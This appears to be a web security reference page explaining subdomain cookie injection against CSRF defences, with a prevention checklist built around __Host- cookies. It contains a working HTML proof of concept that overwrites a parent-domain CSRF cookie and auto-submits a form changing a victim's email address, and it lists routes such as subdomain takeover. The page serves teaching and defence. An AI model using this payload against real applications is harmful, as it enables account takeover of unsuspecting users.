Skip to content
highCVSS 8.1CWE-565A01:2021 – Broken Access Control

Subdomain Cookie Injection

Overwriting the CSRF cookie from a sibling subdomain, why SameSite offers zero protection here, and why __Host- is the fix.

The blind spot in every SameSite deployment

SameSite compares sites, and a site is the registrable domain. evil.example.com and app.example.com are the same site. Every SameSite value — Lax, Strict, all of it — sends the cookie on a request between them.

That alone would be bad enough. The sharper problem is that a subdomain can also write cookies into the parent's scope, because cookie scope is domain-based and a cookie set with Domain=example.com from evil.example.com is received by app.example.com.

So an attacker who controls any subdomain gets two things at once:

  1. A same-site position, defeating SameSite entirely — including Strict.
  2. The ability to overwrite cookies, defeating naive double-submit and, depending on the application, session handling too.

This is the most under-appreciated fact in modern CSRF work. Teams migrate to SameSite=Lax, declare CSRF solved, and leave a forgotten status.example.com pointing at a deprovisioned cloud bucket.

How an attacker gets a subdomain

More easily than most threat models assume:

  • Dangling DNS / subdomain takeover. A CNAME to a deprovisioned S3 bucket, Heroku app, Azure resource, GitHub Pages site, or SaaS tenant. Whoever claims that name next controls the subdomain. This is the most common route and it is discoverable with passive DNS plus a takeover scanner.
  • Wildcard tenant subdomains. Any product offering customer.example.com hands every customer a same-site position by design.
  • User-controlled content on a subdomain — a docs site, a status page, a support portal, a marketing microsite on a shared CMS.
  • XSS anywhere on any subdomain. A reflected XSS on a forgotten legacy host is enough; it does not need to be on the app itself.
  • A less-hardened host. Staging, admin tooling, a vendor-hosted portal, an old application nobody patches.
  • A network position on plaintext HTTP for any subdomain. Cookie overwrite rules ignore the Secure flag, so a non-Secure cookie set over http://anything.example.com can shadow a Secure one of the same name.

On any assessment, enumerate subdomains before concluding that a SameSite deployment protects the application.

The attack

HTMLevil.example.com/toss.htmlVulnerable
<!doctype html>
<html>
  <body>
    <script>
      // Step 1: overwrite the CSRF cookie in the parent domain's scope.
      //
      // Domain=.example.com makes app.example.com receive it. The Path is set
      // deliberately: when two cookies of the same name are in scope, the
      // browser sends the MORE SPECIFIC path first, and most server-side
      // parsers take the first occurrence. That gives the attacker control
      // over which value wins.
      document.cookie =
        'csrf=attacker-chosen; domain=.example.com; path=/account'
    </script>

    <!-- Step 2: submit the same value in the body. The server compares the
         cookie to the body, they match, and the request is accepted.

         Nothing here required READING the victim's cookie. Naive
         double-submit assumes the token is unreadable AND unwritable, and
         only the first of those is true. -->
    <form id="poc" action="https://app.example.com/account/email" method="POST">
      <input type="hidden" name="csrf" value="attacker-chosen" />
      <input type="hidden" name="email" value="attacker@evil.example" />
    </form>
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

Two cookies, one header

HTTP
# What the server receives. Both cookies are in scope, so both are sent, in
# one header, separated by "; ".

POST /account/email HTTP/1.1
Host: app.example.com
Cookie: csrf=attacker-chosen; session=eyJ1c2VyIjoidmljdGltIn0; csrf=legitimate-value
Content-Type: application/x-www-form-urlencoded

csrf=attacker-chosen&email=attacker@evil.example

# The RFC does not define which duplicate a server should pick, and there is
# no way for the server to tell which one it set. Almost every parser takes
# the first occurrence:
#
#   Express / cookie-parser   first
#   Django                    first
#   PHP $_COOKIE              LAST (differs -- worth testing)
#   Go net/http Cookie()      first
#
# Path specificity decides the ordering, and the attacker controls the path
# on the cookie they set. So they can generally arrange to win.

What else this reaches

Worth mentioning when reporting, because it raises the severity beyond the CSRF itself:

  • Session fixation. If the session cookie is scoped to the parent domain, the attacker can overwrite it and force the victim into an attacker-controlled session. Anything the victim then does happens in the attacker's account — including saving a payment method or uploading a document. See Login CSRF and Session Fixation.
  • Cookie jar overflow. Browsers cap cookies per domain. Setting enough cookies from a subdomain evicts the legitimate ones, which can force a logout or push the application into an unauthenticated fallback path.
  • Breaking the application's own defences. Overwriting a locale, feature-flag, or A/B-test cookie can steer the victim onto a code path with weaker validation.
  • Reading, in some cases. A subdomain cannot read a host-only cookie set by the parent, but it can read one the parent set with Domain=example.com. Widely-scoped session cookies are directly stealable from a subdomain with XSS.

Prevention

HTTPVulnerable
Set-Cookie: csrf=8f3a...; Domain=.example.com; Path=/; Secure; SameSite=Lax
Set-Cookie: session=eyJ...; Domain=.example.com; Path=/; Secure; HttpOnly; SameSite=Lax

# Domain=.example.com on both. Every subdomain receives them and every
# subdomain can overwrite them.
#
# SameSite=Lax is doing nothing against this attacker -- they are same-site.
# Secure is doing nothing against overwriting -- the flag is not part of a
# cookie's identity for overwrite purposes.
#
# The Domain attribute is usually added so that api.example.com can see the
# session. That is a real requirement, and it has a cost that should be a
# deliberate decision rather than a default.

Checklist

  • Use __Host- prefixed cookies for the session and any CSRF cookie. It is a rename plus dropping Domain, and it closes the whole class.
  • Do not set Domain unless a subdomain genuinely needs the cookie. Host-only is the default for a reason.
  • Use a signed token, so an overwritten cookie cannot carry a valid MAC even if the attacker can write it. Defence in depth with the prefix. See Double-Submit Cookies.
  • Audit DNS for dangling records on a schedule, not once. This is the entry point for most real instances.
  • Treat Sec-Fetch-Site: same-site as untrusted if any subdomain hosts third-party or user content.
  • HSTS with includeSubDomains, preloaded, to close the plaintext-overwrite route.
  • Test parser behaviour on duplicate cookie names — send two and see which the application uses. PHP differs from most others.